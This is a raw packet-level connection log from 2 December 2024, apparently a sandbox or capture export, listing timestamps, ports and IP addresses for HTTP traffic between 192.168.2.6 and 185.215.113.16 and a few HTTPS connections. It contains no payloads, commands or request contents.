Dec 2, 2024 07:38:10.784292936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.784337044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.784411907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.784888029 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.785367012 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.785418034 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.785475969 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.785525084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.786400080 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.786448002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.786534071 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.786582947 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.787492037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.787542105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.787612915 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.787657976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.788538933 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.788573027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.788593054 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.788623095 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.789565086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.789643049 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.789695978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.789741039 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.790599108 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.790663958 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.790719032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.790760040 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.791702032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.791754007 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.791815996 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.791861057 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.792725086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.792773962 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.792829037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.792871952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.793792963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.793844938 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.793884039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.793922901 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.794878960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.794929981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.794949055 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.794982910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.795937061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.795991898 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.796024084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.796061039 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.796982050 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.797033072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.797091007 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.797142029 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.798048973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.798099995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.798176050 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.798218012 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.799114943 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.799168110 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.799206018 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.799251080 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.800123930 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.800178051 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.800215960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.800255060 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.801187992 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.801244020 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.801260948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.801301003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.802279949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.802326918 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.802360058 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.802403927 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.803543091 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.803554058 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.803592920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.803694963 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.804339886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.804388046 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.807127953 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.807204962 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.807262897 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.807281971 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.807296991 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.807305098 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.810502052 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.810530901 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.810605049 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.810765982 CET	49869	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.810779095 CET	443	49869	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.858513117 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.859270096 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.859278917 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.859795094 CET	49867	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.859814882 CET	443	49867	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.914946079 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.915555954 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.915571928 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.916085958 CET	49866	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.916090965 CET	443	49866	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.919784069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.919850111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.919919014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.919958115 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.920331955 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.920376062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.920413017 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.920448065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.921318054 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.921360970 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.921435118 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.921474934 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.922369957 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.922411919 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.951230049 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.951244116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.951339006 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.951690912 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.951735020 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.951812029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.951848984 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.952770948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.952816963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.952855110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.952892065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.953788042 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.953830957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.953872919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.953913927 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.954864025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.954905033 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.954921961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.954978943 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.955946922 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.955956936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.955986977 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.956005096 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.956969023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.957017899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.957168102 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.957214117 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.958031893 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.958081961 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.958148003 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.958195925 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.959069014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.959144115 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.959182978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.959227085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.960465908 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.960520983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.960587978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.960630894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.961199999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.961249113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.961283922 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.961322069 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.962249994 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.962296963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.962306023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.962342978 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.963455915 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.963466883 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.963510990 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.964365005 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.964410067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.964497089 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.964545965 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.965416908 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.965464115 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.965532064 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.965574026 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.966474056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.966519117 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.966550112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.966586113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.967653990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.967665911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.967705965 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.968590975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.968637943 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.968672991 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.968713999 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.969677925 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.969690084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.969732046 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.969769955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.970761061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.970805883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.970863104 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.970907927 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.971882105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.971932888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.971951962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.971991062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.972848892 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.972898960 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.973604918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.973655939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.973874092 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.973922968 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.973948956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.973993063 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.975497961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.975543976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.975775957 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.975824118 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.976046085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.976092100 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.976115942 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.976152897 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.977091074 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.977153063 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.977184057 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.977226019 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.978116035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.978161097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.978238106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.978281975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.979207993 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.979274035 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.979290009 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.979342937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.980223894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.980272055 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.980360031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.980402946 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.981312037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.981360912 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.981365919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.981403112 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.982419014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.982465982 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.982544899 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.982589006 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.983468056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.983513117 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.983541965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.983575106 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.984558105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.984580040 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.984611988 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.984627008 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.985536098 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.985583067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.985646009 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.985686064 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.986716986 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.986766100 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.986820936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.986862898 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.987654924 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.987700939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.987768888 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.987808943 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.988687038 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.988739014 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.988806963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.988850117 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.989909887 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.989962101 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.990027905 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.990070105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.990848064 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.990892887 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.990907907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.990946054 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.991906881 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.991980076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.992007017 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.992095947 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.992938042 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.992983103 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.993067980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.993104935 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.994014978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.994067907 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.994126081 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.994159937 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.995054960 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.995098114 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.995193958 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.995232105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.995999098 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.996073961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.996109962 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.996186972 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.996226072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.997169971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.997211933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.997289896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.997329950 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.998200893 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.998250008 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.998323917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.998362064 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.999125957 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.999186039 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.999263048 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.999332905 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.999368906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.999408960 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.999555111 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.999555111 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.999563932 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.999572039 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.000458956 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.000516891 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.001413107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.001425982 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.001477003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.001552105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.001604080 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.002449989 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.002506018 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.002572060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.002614021 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.003360033 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.003393888 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.003469944 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.003910065 CET	49870	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:11.003925085 CET	443	49870	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:11.230241060 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:11.230266094 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:11.230341911 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:11.230735064 CET	49871	443	192.168.2.6	4.245.163.56
Dec 2, 2024 07:38:11.230751038 CET	443	49871	4.245.163.56	192.168.2.6
Dec 2, 2024 07:38:11.337287903 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.337389946 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.337394953 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.337421894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.337435961 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.337460995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.457187891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.457391024 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.457401991 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.457412004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.457528114 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.457864046 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:11.457917929 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:11.458787918 CET	80	49859	185.215.113.16	192.168.2.6
